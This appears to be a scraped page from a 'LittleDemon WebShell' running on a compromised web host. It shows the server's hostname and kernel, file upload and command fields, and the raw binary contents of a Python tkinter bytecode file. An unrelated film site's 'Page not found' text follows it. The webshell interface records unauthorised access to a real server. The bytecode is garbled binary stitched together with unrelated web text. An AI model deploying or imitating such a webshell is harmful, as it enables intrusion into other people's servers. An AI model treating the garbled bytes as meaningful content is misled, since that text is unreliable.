LittleDemon WebShell


Linux sh00002.bigrock.com 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
Path : /lib64/python3.9/tkinter/__pycache__/
File Upload :
Command :
Current File : //lib64/python3.9/tkinter/__pycache__/font.cpython-39.opt-1.pyc

a

�i��@s�ddlZddlZdZgd�ZdZdZdZdZdd	�ZGd
d�d�Z	d!dd
�Z
d"dd�Zedk�r~e�
�Ze	dded�Zee���ee�d��ee�d��ee���ee�d��ee�d��ee��ee�d�e�d��eejed��e	dd�Zee�d�ejded��ejeded�Ze��ejedejd�Ze��e	edd���Zejed �ejed�e��dS)#�Nz0.9)�NORMAL�ROMAN�BOLD�ITALIC�
nametofont�Font�families�namesZnormalZroman�boldZitaliccCst|dd�S)zFGiven the name of a tk named font, returns a Font representation.
    T)�name�exists)r�r�r�$/usr/lib64/python3.9/tkinter/font.pyrsrc@s�eZdZdZe�d�Zdd�Zdd�Zdd�Z	d#dd�Z
d
d�Zdd�Zdd�Z
dd�Zdd�Zdd�Zd$dd�Zdd�Zdd�ZeZd%dd �Zd!d"�Zd	S)&ra�Represents a named font.

    Constructor options are:

    font -- font specifier (name, system font, or (family, size, style)-tuple)
    name -- name to use for this font configuration (defaults to a unique name)
    exists -- does a named font by this name already exist?
       Creates a new named font if False, points to the existing font if True.
       Raises _tkinter.TclError if the assertion is false.

       the following are ignored if font is specified:

    family -- font 'family', e.g. Courier, Times, Helvetica
    size -- font size in points
    weight -- font thickness: NORMAL, BOLD
    slant -- font slant: ROMAN, ITALIC
    underline -- font underlining: false (0), true (1)
    overstrike -- font strikeout: false (0), true (1)

    �cCs:g}|��D]$\}}|�d|�|�t|��qt|�S�N�-)�items�append�str�tuple)�self�kw�options�k�vrrr�_set2s
z	Font._setcCs$g}|D]}|�d|�qt|�Sr)rr)r�argsrrrrr�_get9sz	Font._getcCs:i}tdt|�d�D] }||d|||dd�<q|S)Nr�r)�range�len)rrr�irrr�_mkdict?szFont._mkdictNFcKs�|st�d�}t|d|�}|r4|�|�dd|��}n
|�|�}|sTdtt|j��}||_	|r�d|_
|j	|�|�dd��vr�tj�d|j	f��|r�|jdd|j	g|�R�n|jdd	|j	g|�R�d
|_
||_
|j|_|j|_dS)Nzuse font�tk�font�actualFr	z$named font %s does not already exist�	configureZcreateT)�tkinter�_get_default_root�getattr�	splitlist�callrr�next�counterr�delete_fontZ_tkinterZTclError�_tk�_split�_call)r�rootr%rrrr$rrr�__init__Es,


�z
Font.__init__cCs|jS�Nr
�rrrr�__str__dszFont.__str__cCs&t|t�stS|j|jko$|j|jkSr5)�
isinstancer�NotImplementedrr0)r�otherrrr�__eq__gs
zFont.__eq__cCs
|�|�Sr5)�cget)r�keyrrr�__getitem__lszFont.__getitem__cCs|jfi||i��dSr5)r')rr=�valuerrr�__setitem__oszFont.__setitem__cCs2z|jr|�dd|j�Wnty,Yn0dS)Nr%�delete)r/r2r�	Exceptionr6rrr�__del__rs
zFont.__del__cCst|jfi|����S)z*Return a distinct copy of the current font)rr0r&r6rrr�copyysz	Font.copycCsbd}|rd|f}|r:|d|f}|jdd|jg|�R�S|�|�|jdd|jg|�R���SdS)zReturn actual font attributesr�
-displayofrr%r&N)r2rr#r1)r�option�	displayofrrrrr&}s�zFont.actualcCs|�dd|jd|�S)zGet font attributer%�configr)r2r)rrFrrrr<�sz	Font.cgetc	KsD|r$|jdd|jg|�|��R�n|�|�|�dd|j���SdS)zModify font attributesr%rHN)r2rrr#r1)rrrrrrH�s�
�zFont.configcCs4|f}|rd||f}|j�|jdd|jg|�R��S)zReturn text widthrEr%�measure)r0�getintr2r)r�textrGrrrrrI�s
zFont.measurecOs�d}|�dd�}|rd|f}|rN||�|�}|j�|jdd|jg|�R��S|�|jdd|jg|�R��}i}tdt|�d�D](}|j�||d	�|||d	d�<q�|SdS)
z}Return font metrics.

        For best performance, create a dummy widget
        using this font before calling this method.rrGNrEr%�metricsrrr)	�poprr0rJr2rr1r r!)rrrrrG�resr"rrrrL�s�&zFont.metrics)NNNF)NN)N)�__name__�
__module__�__qualname__�__doc__�	itertools�countr.rrr#r4r7r;r>r@rCrDr&r<rHr'rIrLrrrrrs$


	
rcCs<|st�d�}d}|rd|f}|j�|jjddg|�R��S)zGet font families (as a tuple)zuse font.families()rrEr%r�r(r)r$r+r,)r3rGrrrrr�s
rcCs$|st�d�}|j�|j�dd��S)z'Get names of defined fonts (as a tuple)zuse font.names()r%r	rU)r3rrrr	�s
r	�__main__�times�)�family�size�weightrYr[ZhelloZ	linespace)rG)ZCourier�r
)r%zHello, world)rKr%zQuit!)rKZcommandr%)r[)NN)N)rSr(�__version__�__all__rrrrrrrr	rOZTkr3�f�printr&rHr<rIrLZLabel�w�packZButtonZdestroyrDZfbZmainlooprrrr�<module>sD








LittleDemon - FACEBOOK
[ KELUAR ]
Page not found – Sparkplug Films
Small totara tree on ridge above Long Point

Page not found

The page you are looking for doesn't exist, or it has been moved. Please try searching using the form below.